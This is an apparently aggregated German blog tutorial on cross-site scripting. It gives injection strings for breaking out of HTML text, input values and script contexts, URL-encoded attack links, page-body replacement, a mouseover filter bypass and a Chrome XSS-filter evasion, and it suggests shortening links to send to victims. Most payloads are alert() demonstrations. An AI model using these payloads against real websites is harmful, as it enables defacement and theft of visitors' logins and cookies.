Quantcast
Viewing all articles
Browse latest Browse all 5

Cross-Site-Scripting (XSS) Angriff auf Webseiten

Bei einem XSS geht es darum Code in Vertrauenswürdige Seiten einzufügen und die Seite so zu verändern, das man als „Hacker“ einen Nutzen davon trägt. Meist ist dieser Code JavaScript Code, da man somit den meisten Schaden anrichten kann.

THEORIE

Welche Möglichkeiten habe ich durch einen XSS Angriff?
– Verändern von Inhalten um vertrauliche Daten (wie Logins) von dem Besucher zu erhalten
– Es besteht die Möglichkeit durch Browser-Sicherheitslücken den kompletten Rechner des Besuches zu übernehmen
– Das Verändern von Quelltext, um eigene Inhalte darzustellen, welche auf der Seite gar nicht Existieren
– Cookies mit Login- oder persönlichen Daten auslesen
– uvm.

Nicht-persistent oder reflexiv
reflexiv (persistent) – wenn der eingefügte Code direkt vom Server ausgegeben und gespeichert wird (z.B. in einem Forum)
Nicht-persistent – der Code wird nur nach Aufruf einer speziellen URL (z.B. Suchformular) ausgegeben

Wo kann ich meinen Code einfügen?
Angriffsziel sind Suchformulare, Kommentarfelder, Foren, Blogs…

PRAXIS

Finden einer Lücke

Als Beispiel verwenden wir ein Suchformular, die Technik ist grundsätzlich überall die selbe.

1. Suchberiff: x2dfg
Nun sehen wir uns den Quelltext an und suchen alle Stellen, wo unser Suchbegriff ausgegeben wird. Wir suchen nach Stellen, wo unserer Suchbegriff in einen Tag eingefügt oder sogar direkt auf der Seite ausgegeben wird.

1
2
3
Besipiel 1: <p>Sie suchten nach: x2dfg</p>
Besipiel 2: <form action="/de/search/node/x2dfg" ...
Besipiel 3: <script>... search='x2dfg' ...</script>

2. Versuch Code einzufügen
Wir versuchen nun über die Suchfunktion folgenden Code in die Webseite einzufügen um eine alert Ausgabe zu erzeugen:

1
<script type="text/javascript">alert("XSS")</script>
1
2
3
Suchbegriff Besipiel 1: <script type="text/javascript">alert("XSS")</script>
Suchbegriff Besipiel 2: "><script type="text/javascript">alert("XSS")</script>
Suchbegriff Besipiel 3: ';</script><script type="text/javascript">alert("XSS")</script>

Wenn keine Ausgabe erfolgt, sucht man im Quellcode nach weiteren Stellen, wo unser Suchcode eingefügt wurde und versucht eine Lücke zu finden. Zum Testen ist es einfacher einen Browser ohne XSS-Schutz zu verwenden.

Welche Möglichkeiten habe ich nach dem Finden einer Lücke

Oft werden die Suchanfragen in der URL über eine GET-Variable ausgegeben:

1
Testseite.de/suche.php?q=<script type="text/javascript">alert("XSS")</script>

Dieser Links kann nun einfach verschickt oder z.B. über linkshrink.de verkürzt werden. Sonderzeichen könnten auch durch ASCII Control characters ersetzt werden:

1
Testseite.de/suche.php?q=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert(%22XSS%22)%3C%2Fscript%3E&

Die Anzeige einer Alert-Meldung ist noch sehr harmlos, interessant wird es z.B. beim Verändern von Inhalten:

1
<script type="text/javascript">document.body.innerHTML = '<div style="background:black; color:#fff">Das ist mein neuer Body Inhalt</div>';</script>

Sicherheitslücken finden Teil2

Stufe 1: einfache Ausgabe auf einer Webseite

1
Quellcode: <script>alert(document.domain);</script>
1
Suchbegriff: <script>alert(document.domain);</script>

Stufe 2: Ausgabe in einem value

1
Quellcode: <input type="text" name="p1" size="50" value="<script>alert(document.domain);</script>">
1
Suchbegriff: "><script>alert(document.domain);</script>

Stufe 3: Bearbeiten von POST-Übergaben über das Plugin „Temper Data“
Dieses Plugin sollte installiert werden und beim Absenden eines Formulars, kann man in diesem Plugin einfach die Übergabewerte manipulieren

1
Temper Data Übergabewert: <script>alert(document.domain);</script>

Stufe 4: Gefilterte Daten trotzdem Umgehen

1
2
Quellcode: <input type="text" name="p1" size="50" value="&lt;script type=&quot;text/javascript&quot;&gt;alert(&quot;XSS&quot;)&lt;/script&gt;">
#hier zum Beispiel müssen wir das value schließen und können z.B. ein Mouseover einfügen
1
2
Suchbegriff: " mouseover=alert(document.domain); close="
# close kann beliebig heißen, es muss nur das " geschlossen werden

Google Chrome XSS Schutz umgehen

Chrome unterdrückt das Ausführen von XSS Javascript durch verändertes setzen von Tags, dies kann jeder im Code-Editor verfolgen.
Folgend ein Beispiel, wie man diese Veränderung umgehen kann:

1
2
3
Normale Übergabe: http://www.egal.de/antwort.php?fname=test&nname=Anonymous
Veränderte Übergabe (wird unterdrückt): http://www.egal.de/antwort.php?fname=<script>alert('XSS!');</script>&nname=Anonymous
Schutz umgehen: http://www.egal.de/antwort.php?fname=<script>alert('XSS!');&nname=Anonymous

Jedoch ist der letzte Ausruf sehr stark von der Struktur der Seite abhängig und man muss mit dem Code-Editor prüfen, wie Chrome die XSS-Übergabe verändert.


Viewing all articles
Browse latest Browse all 5